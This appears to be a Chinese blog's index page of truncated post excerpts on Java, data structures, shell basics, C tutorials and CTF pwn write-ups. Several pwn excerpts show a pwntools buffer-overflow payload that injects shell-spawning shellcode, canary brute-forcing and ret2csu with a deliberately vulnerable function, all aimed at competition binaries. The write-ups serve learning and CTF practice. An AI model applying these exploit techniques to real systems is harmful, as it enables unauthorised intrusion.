Java基础知识杂记
Java杂记
静态方法无法继承 无实例化对象
异常数组索引异常空指针异常算数异常丢失资源找不到类编译时异常
oop 面向对象的语言对象的成员属性在未赋值前引用类型的默认值是NULL见到那类型为对应的0
通过this可以访问当前对象的成员属性/成员变量(静态的成员变量不支持)
默认int - 0float - 0.0fchar - ‘\u0000’boolean - flase
构造方法非特殊的一个方法:1.方法名必须和类名相同2.没有返回值3.创建对象时由编译器自动调用
当一个类中没有任何一个构造方法时 java会自动提供一个无参的构造方法
构造方法之间可以形成方法的重载1.方法名相同2.参数列表不同
构造方法只对对象中的成员进行初始化 不进行空间分配
完成一个对象的构造1.分配内存2.调用合适的构造方法
this();调用当前类当中其他构造方法只能在当前的构造方法内部进行使用只能放在第一行
this.data访问当前对象的属性this.func()调用当前对象的方法this本身代表当前对象的引用
就地初始化声明成员变量的同时进行初始化即在class内进行初始化
...
数据结构
数据结构碎片一元多项式简单数组表示 存储系数和指数,一一对应,运算即分类操作既可
稀疏多项式 记录系数不为零的项 每一项的系数和指数也构成线性表(先系数再指数)
稀疏多项式的运算
新开设新数组C(第三个数组相当于中间存储)
从头开始遍历比较a和b的每一项指数相同 对应系数相加,和不为0,C中新增加新项;和为0,去掉 即可
指数不相同,将指数较小的项复制到C中
一个多项式已遍历完毕时,将另一个剩余项依次复制到C中即可
顺序存储存在的问题
1.存储空间分配不灵活2.运算的空间复杂度高
链式存储解决稀疏多项式
线性表中的数据元素的类型可以是简单/复杂类型线性表的定义类型基本操作InitList(&L)操作结果:构造一个空链表
DestroyList(&L)初始条件:线性表L已经存在操作结果:销毁线性表L
ClearList(&L)初始条件:线性表L已经存在操作结果:将线性表L重置为空表
ListEmpty(L)初始条件:线性表已经存在操作结果:若L为空返回TRUE,否则返回FALSE
ListLength(L)初始条件:线性表已经存在操作结果:返回L中数 ...
The Missing Semester of Your CS Education
The Missing Semester of Your CS EducationFirst Course Overview The Shell命令行语句
pwd(process[print] working directory)
输出当前位置
cd .
到当前目录
cd ..
上一级目录
cd /cd ~
回到根目录
cd -
回到跳转前的目录(可在两个目录之间切换)
ls -l
列出当前目录下子文件的详细信息
ls -a
列出所有文件包含隐藏文件
* ?
代替一个字符串 一个字符
mv A B
重命名并可以移动文件
cp A B
复制并可以移动文件
control L
清除终端
cat
打印文件内容到终端上
touch
建立新文件
>>
不覆盖而是叠加
A | B
A的输出作为B的输入
grep A B
在A里查找B
man,rm,mkdir,rmdir
> /
覆盖
rm用于无递归删除 -r 递归删除 rmdir仅允许删除空目录
mkdir 创建目录 ...
Nep摸鱼记
NepCTF 2023为什么开赛两分钟选择不打了?答案很简单:签到题格式打错了…运营姐姐没回我…48h…炮灰pwn不会做!!!(其实可以做misc)
Msiccode题目提示flag在环境变量中 开始STFWhttps://blog.csdn.net/aspnet_lyc/article/details/20548767
#include <stdio.h>
int main(int argc, char** argv, char** arge)
{
while(*arge)
{
printf("%s\n", *arge++);
}
return 0;
}
与AI共舞的哈夫曼求助chat因为不会用copilot
ConnectedFive
五子棋 不会写脚本干下吧hh(求助chat也不是不行)
from pwn import *
import random
r = remote('nepctf.1cepeak.cn', 31762)
def g ...
Canary解决姿势
Canary解决姿势被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~
有问题请指正~❀获取例题请在评论区留言或私信我⭐
一、canary爆破标志提示就算fork函数吧 多线程开攻
【funcannary】*
(1)先运行一下 peda配套checksec 根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点
发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过) 对应随机化 后续在IDA中只能利用其地址计算偏移
(2)进IDA
fork接口 == canary爆破(多线程)
发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary
明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆c ...
C探索碎片——关键字static作用
一、简述static意译是静态的,而作为C语言中常见的关键字之一,它的用法也贴切“静态”这一含义。
二、用法
修饰局部变量
下为static是否修饰局部变量对程序运行结果影响的对比。
#include<stdio.h>
void play()
{
int a = 6;
a++;
printf("%d ", a);
}
int main()
{
int i = 0;
while (i < 5)
{
play();
i++;
}
return 0;
}
编辑
此为上图static未修饰局部变量的运行结果
#include<stdio.h>
void play()
{
static int a = 6;
a++;
printf("%d ", a);
}
int main()
{
int i = 0 ...
C探索碎片——操作符
C的探索碎片——操作符
分类
算术操作符
移位操作符
位操作符
赋值操作符
单目操作符
关系操作符
逻辑操作符
条件操作符
逗号表达式
下标引用、函数调用和结构成员
一.算数操作符+ - * / %
+、-、*此类数学中常见的算数符号我们再熟悉不过,需要注意的是/(除),%(取余)之间的区别。
例:
#include<stdio,h>
int main()
{
int a = 10;
printf("%d",a/3);//结果为3
printf("%d",a%3);//结果为1
return 0;
}
注意:1.除%操作符之外。其他几个操作符可以作用于整数和浮点数。
2./操作符运算时若两个操作数中含浮点数则执行浮点数除法(%lf打印结果);若两操作数都为整数则执行整数除法。
3.%操作符的两个操作数必须为整数。
二、移位操作符<< 左移操作符
>> 右移操作符
注:移位操作符的操作数只能是整数。
移位操作 ...
部分PWN题目记录
Pwn题目记录【NKCTF】弱小可怜无助的唯一。(1)checkesec 发现为64位 只有NX保护
(2)进IDA分析
F5查看main函数
查看偏移为0x74(buf[108]+8[ebp大小]) buf2大小随机 无后门函数 此时联想到使用pwntools生成可利用的shellcode v6随机执行但未设置随机数种子【注释打漏了😜】
exp:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
p = process('./pwn')
#p = remote('127.0.0.1', 1337)
buf = b'\x90' * 108
shellcode = asm(shellcraft.amd64.sh())
payload = buf + b'\x90'*(104-len(shellcode)) +shellcode
lo ...
ret2csu
ret2csu原理利用x64下__libc_csu_init函数中的gadgets.(64位传参机制导致,但我们不会每次都精准找到每个寄存器对应的gadgets)
此函数对libc进行初始化,而一般的程序都会调用libc函数,则此函数一定存在.
什么是gadgets?gadgets是一段对寄存器进行操作的汇编指令,比如pop ebp;pop eax;每一条指令对应着一段地址将这些gadgets部署到栈中,__ sp指针指向某gadget时发现对应地址中是一条指令而不是一条数据后就会将该地址弹给 __ ip指针, __ip指针会执行该地址中存放的汇编指令,完成对寄存器的操作.(某一gadget-0x1a得到上一gadget)
实例(蒸米ROP)源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
...
pwn探索--大杂烩
pwn的核心:二进制漏洞的利用和挖掘研究层次:编译成机器码的二进制程序的漏洞二进制程序实际为可执行文件linux系统下ELF=windows系统下EXE文件一次简单的hack
CTF中pwn攻击脚本思路:
1.pwn程序/服务器(必不可少滴)开端——>from pwn import*2.使用python中pwn tools用remote函数打开远端需要攻击的服务器端口3.进行链接4.构造恶意数据5.发送恶意数据6.使用交互函数(io.interactive())获取flag
程序的编译与链接
linux借助文件头进行识别!(用vim打开可查看源码–>%!xxd可查看十六进制表示)
编译过程ls指list file即列出文件;可用ll查看文件详细内容。gcc兼具编译器和汇编器的功能。ctrl+alt+t 启动shell
Linux环境下执行可执行文件!xdd%-r 还原文件rm a.out 删除./a.out 是linux/unix环境下gcc编译源代码(c/c++)并连来接产生的默认执行文件名。./a.out ...